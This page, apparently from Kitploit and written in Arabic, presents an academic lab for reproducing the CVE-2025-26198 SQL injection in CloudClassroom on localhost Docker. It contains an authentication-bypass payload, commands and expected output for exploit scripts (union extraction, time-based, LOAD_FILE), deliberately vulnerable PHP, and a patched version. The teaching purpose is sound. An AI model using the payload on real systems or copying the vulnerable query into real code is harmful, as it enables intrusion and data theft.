Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-26198 — إعادة إنتاج تعليمية لحقن SQL CVE-2025-26198 في CloudClassroom-PHP-Project، توضح أربع تقنيات استغلال (منطقية، اتحاد، زمنية، قراءة ملفات) مع مقارنة الإصدار المصحح. | Kitploit
أدوات/GitHubGitHub/wailyacoubi9/cve-2025-26198
تحليل الثغرات الأمنيةاستغلال تطبيقات الويباختبار الاختراقالمصادقةالتعلم والتعليمأمن قواعد البيانات
GitHubwailyacoubi9/cve-2025-26198

CVE-2025-26198

إعادة إنتاج تعليمية لحقن SQL CVE-2025-26198 في CloudClassroom-PHP-Project، توضح أربع تقنيات استغلال (منطقية، اتحاد، زمنية، قراءة ملفات) مع مقارنة الإصدار المصحح.

عرض المستودع
1منذ 7 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-26198 - توضيح SQL Injection

مشروع أكاديمي ENSIMAG - الأمن 3A
المؤلفون: Wail Yacoubi, Mohammed-Yassine Akhmari
التاريخ: يناير 2026


تحذير

هذا الكود ضعيف عمدًا لأغراض تعليمية.
لا تقم بنشره في بيئة الإنتاج أبدًا.


الوصف

إعادة إنتاج لثغرة CVE-2025-26198: حقن SQL حرج في مشروع CloudClassroom-PHP-Project الإصدار 1.0.

خصائص الثغرة:

  • المعرف: CVE-2025-26198
  • درجة CVSS: 9.8/10 (حرجة)
  • النوع: SQL Injection (CWE-89)
  • المكوّن الضعيف: loginlinkadmin.php
  • الأثر: تجاوز المصادقة + استخراج كامل لقاعدة البيانات

المرجع الرسمي: https://nvd.nist.gov/vuln/detail/CVE-2025-26198


الهدف

توضيح 4 تقنيات لاستغلال حقن SQL:

  1. Boolean-based - تجاوز المصادقة
  2. Union-based - استخراج البيانات
  3. Time-based Blind - الاكتشاف عبر التأخير الزمني
  4. File Read - قراءة ملفات النظام

التثبيت

المتطلبات الأساسية

  • Docker و Docker Compose
  • Python 3.x
  • تثبيت requests: pip install requests
  • التشغيل

    root@kitploit:~
    # Cloner le repository
    git clone <votre-repo>
    cd CVE-2025-26198
    
    # Lancer l'infrastructure
    docker-compose up -d
    
    # Attendre que MySQL soit prêt (30 secondes)
    sleep 30
    
    # Vérifier les containers
    docker-compose ps
    

    التطبيق متاح على http://localhost:8081


    الاستغلال

    الطريقة 1: يدويًا (المتصفح)

    1. اذهب إلى http://localhost:8081

    2. املأ النموذج:

      • اسم المستخدم: admin' OR '1'='1'-- -
      • كلمة المرور: anything
    3. انقر على Login

    النتيجة: تسجيل دخول ناجح كمدير دون كلمة مرور صالحة.

    التفسير:

    تحوّل الحمولة استعلام SQL إلى:

    root@kitploit:~
    -- Requête normale
    SELECT * FROM admin WHERE username='admin' AND password=MD5('test')
    
    -- Requête avec injection
    SELECT * FROM admin WHERE username='admin' OR '1'='1'-- -' AND password=MD5('test')
    

    إن OR '1'='1' صحيح دائمًا، و-- - تعلّق بقية الاستعلام.


    الطريقة 2: سكربتات Python

    سكربت بسيط

    root@kitploit:~
    python exploit_simple.py http://localhost:8081
    

    المخرجات المتوقعة:

    root@kitploit:~
    CVE-2025-26198 - SQL Injection Exploit
    ==================================================
    [*] Target: http://localhost:8081/loginlinkadmin.php
    [*] Payload: admin' OR '1'='1'-- -
    [+] Exploitation successful
    [+] Status Code: 200
    

    السكربت الكامل (4 تقنيات)

    root@kitploit:~
    python exploit.py http://localhost:8081
    

    المخرجات المتوقعة:

    root@kitploit:~
    ============================================================
      CVE-2025-26198 - SQL Injection Exploitation
    ============================================================
    
    Test 1: Boolean-based Authentication Bypass
    [+] Authentication bypass SUCCESSFUL
    [+] Admin access obtained without valid credentials
    
    Test 2: Union-based Data Extraction
    [*] Detecting number of columns...
    [+] Number of columns: 5
    [+] Database name: cloudclassroom
    [+] MySQL user: [email protected]
    [+] MySQL version: 5.7.44
    [+] Tables: admin,students
    [+] Admin data:
        - admin:[email protected]
        - superadmin:[email protected]
    
    Test 3: Time-based Blind SQL Injection
    [*] Response time: 3.05 seconds
    [+] Time-based injection CONFIRMED
    
    Test 4: File Read via LOAD_FILE()
    [+] File read SUCCESSFUL
    [+] FILE privilege confirmed
    
    EXPLOITATION SUMMARY
    [✓] Boolean-based (Auth Bypass)
    [✓] Union-based (Data Extraction)
    [✓] Time-based (Blind Detection)
    [✓] File Read (LOAD_FILE)
    

    النسخة المُصحّحة

    اختبر النسخة الآمنة باستخدام prepared statements:

    root@kitploit:~
    # Activer la version patchée
    mv app/loginlinkadmin.php app/loginlinkadmin_VULNERABLE.php
    mv app/loginlinkadmin_PATCHED.php app/loginlinkadmin.php
    docker-compose restart web
    sleep 3
    
    # Retester l'exploit
    python exploit_simple.py http://localhost:8081
    

    النتيجة المتوقعة:

    root@kitploit:~
    [-] Error: Connection aborted
    [-] Exploitation failed
    

    يتم حظر الهجوم عبر التحقق من المدخلات واستخدام prepared statements.

    أعد النسخة الضعيفة:

    root@kitploit:~
    mv app/loginlinkadmin.php app/loginlinkadmin_PATCHED.php
    mv app/loginlinkadmin_VULNERABLE.php app/loginlinkadmin.php
    docker-compose restart web
    

    مقارنة النسخ

    الجانبالنسخة الضعيفةالنسخة المُصحّحة
    استعلام SQLتسلسل مباشرPrepared statement PDO
    التحقق من المدخلاتلا يوجدRegex أبجدي رقمي
    تهريب المخرجاتلاhtmlspecialchars()
    SQL Injectionقابل للاستغلالمحظور
    السجلاتلا توجدerror_log()

    الكود الضعيف:

    root@kitploit:~
    $sql = "SELECT * FROM admin WHERE username='$input_username' AND password=MD5('$input_password')";
    $result = $conn->query($sql);
    

    الكود الآمن:

    root@kitploit:~
    $stmt = $pdo->prepare("SELECT * FROM admin WHERE username = :username AND password = MD5(:password)");
    $stmt->bindParam(':username', $input_username, PDO::PARAM_STR);
    $stmt->bindParam(':password', $input_password, PDO::PARAM_STR);
    $stmt->execute();
    

    هيكل المشروع

    root@kitploit:~
    CVE-2025-26198/
    ├── README.md
    ├── RAPPORT.md
    ├── docker-compose.yml
    ├── app/
    │   ├── index.html
    │   ├── loginlinkadmin.php          # Version vulnérable
    │   ├── loginlinkadmin_PATCHED.php  # Version sécurisée
    │   └── sql/
    │       ├── init.sql
    │       └── grant_file.sql
    ├── exploit.py
    ├── exploit_simple.py
    └── screenshots/
    

    استكشاف الأخطاء وإصلاحها

    حاوية الويب لا تبدأ

    root@kitploit:~
    docker-compose logs web
    docker-compose down
    docker-compose up -d --build
    

    الاستغلال لا يعمل

    root@kitploit:~
    # Vérifier MySQL
    docker-compose exec db mysql -udbuser -pdbpassword -e "SELECT 1"
    
    # Vérifier service web
    curl http://localhost:8081
    
    # Vérifier version active
    head -n 2 app/loginlinkadmin.php
    

    المنفذ مستخدم بالفعل

    عدّل docker-compose.yml:

    root@kitploit:~
    ports:
      - "8082:80"
    

    التوثيق

    راجع RAPPORT.md للتحليل المفصل الذي يتضمن:

    • آلية الثغرة
    • بنية النظام
    • توصيات التعزيز الأمني
    • أفضل ممارسات التطوير

    المراجع

    • الثغرة الرسمية: https://nvd.nist.gov/vuln/detail/CVE-2025-26198
    • المشروع الأصلي: https://github.com/mathurvishal/CloudClassroom-PHP-Project
    • OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
    • PHP PDO: https://www.php.net/manual/en/pdo.prepared-statements.php

    إخلاء مسؤولية

    طُوّر المشروع لأغراض تعليمية فقط ضمن مقرر الأمن السيبراني في ENSIMAG.

    الاستخدام المسموح به:

    • التعلّم والتدريب
    • الاختبار على بيئات مصرّح بها

    الاستخدام المحظور:

    • الهجمات على الأنظمة الحقيقية
    • الاستخدام الخبيث

    أي استخدام خارج الإطار الأكاديمي محظور تمامًا ويُعد غير قانوني.


    المؤلفون
    Wail Yacoubi & Mohammed-Yassine Akhmari
    ENSIMAG - دفعة 2026
    المقرر: الأمن 3A

    تنزيل الأداة